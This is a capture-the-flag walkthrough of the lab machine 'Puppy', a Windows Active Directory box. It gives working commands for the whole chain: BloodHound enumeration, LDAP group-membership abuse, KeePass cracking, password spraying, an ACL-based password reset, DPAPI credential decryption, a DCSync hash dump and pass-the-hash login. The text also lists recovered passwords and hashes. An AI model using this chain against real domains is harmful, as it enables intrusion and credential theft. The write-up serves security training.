๐Ÿถ Puppy

January 19, 2025
Windows
6 hours
Medium
Active Directory BloodHound KeePass DPAPI DCSync GenericWrite WinRM
Enumeration

๐Ÿ” 1. Initial Enumeration โ€“ Nmap

I started with a full TCP service and OS scan using Nmap:

nmap -A -Pn -p- puppy.htb

Key ports identified:

  • Kerberos (88), LDAP (389/3268), and SMB (445) โ€” indicating a Windows Active Directory environment
  • WinRM (5985) โ€” later used for remote shell access
  • NFS/RPC (2049, 111) and HTTPAPI (5985)

Nmap revealed the domain name: PUPPY.HTB, and the host is likely running Windows Server 2022.


๐Ÿ“ 2. SMB Share Enumeration with Valid Credentials

Given credentials:

levi.james : KingofAkron2025!

I enumerated SMB shares with:

crackmapexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --shares

๐Ÿ”’ Access to the DEV share was denied!


๐Ÿ‘ฅ 3. Domain User Enumeration

To identify other users in the environment, I ran:

crackmapexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --users
Domain user enumeration results showing multiple valid users

This revealed several valid domain users, including:

  • adam.silver
  • steph.cooper
  • ant.edwards
  • jamie.williams
  • steph.cooper_adm

I saved these usernames into a users.txt file for later spraying.


๐Ÿง  4. Active Directory Enumeration with BloodHound

To analyze Active Directory permissions and relationships, I used BloodHound with the following command:

bloodhound-python -dc DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
BloodHound data collection process

To make import easier into BloodHound GUI, I zipped the output:

zip bloodhound.zip *.json

๐Ÿ”Ž 5. BloodHound Analysis โ€” Graph Relationships

BloodHound graph showing privilege relationships and attack paths

After importing the bloodhound_results.json files into BloodHound, I observed the following privilege relationships for the user levi.james@puppy.htb.

Key findings from the visual graph:

  • Membership: levi.james is a direct member of several groups including HR@PUPPY.HTB
  • Privilege Escalation Opportunity: The HR@PUPPY.HTB group has GenericWrite privilege over the DEVELOPERS@PUPPY.HTB group
  • Since levi.james is a member of HR@PUPPY.HTB, this grants the ability to modify membership of the DEVELOPERS group

๐Ÿงฌ 6. Group Membership Abuse via LDAP โ€” Adding to DEVELOPERS Group

I learned that levi.james had GenericWrite on the DEVELOPERS group.

To exploit this, I crafted an LDIF file to add levi.james to the group:

modify.ldif:

dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB

Then ran:

ldapmodify -x -H ldap://10.10.11.70 -D "levi.james@puppy.htb" -w 'KingofAkron2025!' -f modify.ldif
Successful LDAP modification adding user to DEVELOPERS group

This successfully added levi.james to the DEVELOPERS group.

LFG, now we have read permission!

Confirmation of access to DEV share after group modification

Let's see what's inside the DEV share:

smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' //10.10.11.70/DEV
Contents of DEV share showing recovery.kdbx file

I can see some suspicious files. Let's download them and hope they aren't viruses

Downloading files from DEV share

recovery.kdbx is a KeePass database file likely contains stored credentials and it is encrypted

KeePass Database Exploitation

๐Ÿ” 7. Cracking recovery.kdbx โ€” KeePass Database

Since it was a .kdbx file (KeePass v4 format), the usual keepass2john tool didn't work:

keepass2john recovery.kdbx > recovery.hash
# Output: File version '40000' is currently not supported!

So I used an alternative tool: keepass4brute, which supports KeePass v4.

โœ… Steps to crack:

wget https://github.com/r3nt0n/keepass4brute/raw/master/keepass4brute.sh
chmod +x keepass4brute.sh
sudo apt update && sudo apt install keepassxc # if you haven't installed this
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt

After testing thousands of passwords, it eventually found the correct master password:

KeePass password cracking showing successful password discovery
Password found: liverpool

๐Ÿงฉ 8. Accessing KeePass Database via GUI (KeePassXC)

Using the KeePassXC GUI, which provides a user-friendly interface to browse entries securely.

KeePassXC GUI interface showing database unlock

Steps:

  1. I launched KeePassXC on my Kali machine: keepassxc
  2. Opened the file: recovery.kdbx
  3. When prompted, I entered the cracked master password: liverpool
  4. Once unlocked, I browsed through the stored entries. The database contained several credentials โ€” including usernames and passwords for domain accounts.

๐Ÿ”‘ 9. Extracted Credentials + Spray

From the KeePassXC GUI, I manually copied out the following recovered credentials:

  • JamieLove2025!
  • Antman2025!
  • Steve2025!
  • ILY2025!
  • HJKL2025!

I saved these into a text file (passwords_spray.txt) and used them to conduct a password spray across known domain users:

crackmapexec smb 10.10.11.70 -u users.txt -p password_spray.txt --continue-on-success
Password spray results showing valid credential discovery
Valid credential found: ant.edwards:Antman2025!
Privilege Escalation via ACL Abuse

๐Ÿ”Ž 10. BloodHound Analysis โ€” Escalation via adam.silver

To uncover further privilege relationships and escalation paths, I ran BloodHound as the newly discovered user:

bloodhound-python -u 'ant.edwards' -p 'Antman2025!' -d puppy.htb -dc DC.PUPPY.HTB -c All -ns 10.10.11.70 -o bloodhound_ant

Then zipped the results for GUI import:

zip bloodhound_ant.zip bloodhound_ant/*.json
BloodHound graph showing escalation path through adam.silver

The graph revealed a clear and exploitable escalation path:

  • ANT.EDWARDS@PUPPY.HTB is a member of the SENIOR DEVS@PUPPY.HTB group
  • This group has GenericAll rights over ADAM.SILVER@PUPPY.HTB, which means full control โ€” including the ability to reset the user's password
  • Furthermore, adam.silver has CanPSRemote rights on DC.PUPPY.HTB โ€” the Domain Controller
  • This creates a direct escalation chain:
ant.edwards โ†’ GenericAll โ†’ adam.silver โ†’ CanPSRemote โ†’ Domain Controller

๐ŸŽฏ Game Plan

To exploit this path, I planned the following steps:

  1. Use bloodyAD to reset the password for adam.silver
  2. Ensure the account is enabled
  3. Log in as adam.silver via WinRM
  4. Use the access to run commands on the DC
โœ… This is a textbook Privilege Escalation via ACL abuse + PSRemoting path.
Shell as adam.silver

๐Ÿ”ง 11. ACL Abuse โ€“ Resetting adam.silver Password

Using bloodyAD, I reset the password for adam.silver:

bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip 10.10.11.70 set password adam.silver 'P@ssword123'
Successful password reset for adam.silver using bloodyAD

The password was successfully changed โœ….


๐Ÿ›‘ 12. Fixing STATUS_ACCOUNT_DISABLED

I attempted to login, but the account was disabled:

crackmapexec smb 10.10.11.70 -u 'adam.silver' -p 'P@ssword123' -d PUPPY.HTB
# Output: STATUS_ACCOUNT_DISABLED
Account disabled error when attempting to authenticate

To fix this, I removed the ACCOUNTDISABLE flag using:

bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE

โœ… 13. Confirming Access with WinRM

After re-enabling the account, I confirmed that the credentials work and I had remote access:

Successful WinRM authentication after account re-enabling
crackmapexec winrm 10.10.11.70 -u 'adam.silver' -p 'P@ssword123' -d PUPPY.HTB
# Output: Pwn3d!

Then spawned a remote shell:

Evil-WinRM shell access as adam.silver
evil-winrm -i 10.10.11.70 -u 'adam.silver' -p 'P@ssword123'

๐Ÿงพ 14. Reading the user.txt Flag

Once inside, I navigated to the desktop and grabbed the flag:

cd C:\Users\adam.silver\Desktop
type user.txt
Successfully captured user.txt flag
User Flag: Successfully captured user.txt: 6e7425c383bf22a83e6cc6ce118f47de
Shell as steph.cooper + admin

๐Ÿ“ˆ 15. Further BloodHound on adam.silver

To check for possible privilege escalation to Domain Admin, I ran BloodHound as adam.silver:

bloodhound-python -u 'adam.silver' -p 'P@ssword123' -d puppy.htb -dc DC.PUPPY.HTB -c All -ns 10.10.11.70 -o bloodhound_adam

Zipped the results:

zip bloodhound_adam.zip bloodhound_adam_*.json

Imported into BloodHound GUI, I searched for the shortest path to Domain Admin.

BloodHound analysis showing path to Domain Admin privileges

After uploading and analyzing the graph, I observed:

  • adam.silver has CanPSRemote on DC.PUPPY.HTB โ€” confirming remote PowerShell (WinRM) access to the Domain Controller
  • steph.cooper is a member of ACCOUNT OPERATORS
  • steph.cooper_adm is a member of the ADMINISTRATORS group
  • Most importantly, steph.cooper_adm has GetChanges, GetChangesAll, and ReplicateDirectoryChanges rights on the domain โ€” these permissions are required for a DCSync attack
  • Therefore, escalating to steph.cooper_adm is the final step toward dumping domain credentials

This sets the stage for domain takeover using secretsdump.py after retrieving the credentials for steph.cooper_adm.

๐Ÿ›  16. Gaining steph.cooper_adm Credentials (DPAPI Extraction)

*Evil-WinRM* PS C:\Backups> dir

    Directory: C:\Backups

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

After downloading and extracting it locally, I found an interesting file:

nms-auth-config.xml.bak

Inside the file:

<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
New credential discovered: steph.cooper : ChefSteph2025!

๐Ÿ”“ 17. Extracting DPAPI Secrets from steph.cooper

I used Evil-WinRM to connect as steph.cooper and enumerate the user's DPAPI-protected secrets.

  1. Identified the master key:
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\
    โ””โ”€โ”€ 556a2412-1275-4ccf-b721-e6a0b4f90407
  1. Found a DPAPI credential blob:
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
    โ””โ”€โ”€ C8D69EBE9A43E9DEBF6B5FBD48B521B9
  1. Transferred both files using an Impacket SMB server, and decrypted them with:
# Decrypt masterkey
python3 dpapi.py masterkey -file 556a2412-... -password 'ChefSteph2025!' -sid S-1-5-21-...

# Decrypt credential
python3 dpapi.py credential -file C8D69EBE9... -key <decrypted_master_key>
Recovered credential: steph.cooper_adm : FivethChipOnItsWay2025!

๐Ÿ”“ 18. DCSync Attack โ€” Domain Takeover

After confirming the steph.cooper_adm credentials, I ran BloodHound again:

bloodhound-python -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!' -d puppy.htb -dc DC.PUPPY.HTB -c All -ns 10.10.11.70 -o bloodhound_admin

The graph confirmed: โœ… steph.cooper_adm has DCSync privileges.

Using secretsdump.py, I executed the DCSync attack:

secretsdump.py 'PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!'@10.10.11.70

Successfully dumped domain hashes, including the Administrator NTLM hash:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::

โšก 19. Final Pwn โ€” Administrator Shell via WinRM

Logged in with the NT hash:

evil-winrm -i 10.10.11.70 -u 'Administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b'

Boom โ€” Admin shell acquired.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Root Flag: f6fdf655fc4fb36629866d164f987b73

๐Ÿ Rooted puppy.htb

๐ŸŽฏ Attack Chain Summary

This box demonstrated a complete Active Directory takeover through multiple privilege escalation vectors:

levi.james (HR Group) 
    โ†’ GenericWrite on DEVELOPERS 
    โ†’ Access DEV share 
    โ†’ KeePass database 
    โ†’ ant.edwards credentials 
    โ†’ GenericAll on adam.silver 
    โ†’ WinRM access 
    โ†’ steph.cooper credentials 
    โ†’ DPAPI extraction 
    โ†’ steph.cooper_adm 
    โ†’ DCSync privileges 
    โ†’ Administrator hash 
    โ†’ Domain Admin

Key Techniques Demonstrated

  • Active Directory Enumeration: Using BloodHound for privilege escalation path discovery
  • Group Membership Manipulation: Exploiting GenericWrite permissions via LDAP
  • KeePass Database Exploitation: Cracking v4 databases and extracting credentials
  • ACL Abuse: Leveraging GenericAll permissions for password resets
  • DPAPI Credential Extraction: Decrypting stored credentials from user profiles
  • DCSync Attack: Domain takeover through replication rights abuse

Tools Used

  • Nmap: Network reconnaissance and service enumeration
  • CrackMapExec: SMB enumeration and credential validation
  • BloodHound: Active Directory relationship analysis
  • keepass4brute: KeePass v4 database cracking
  • bloodyAD: Active Directory manipulation and ACL abuse
  • dpapi.py: DPAPI credential extraction
  • secretsdump.py: DCSync attack execution
  • Evil-WinRM: Remote PowerShell access
Defensive Recommendations: Regular ACL audits, principle of least privilege, secure credential storage, and monitoring for unusual AD modifications can help prevent these attack vectors.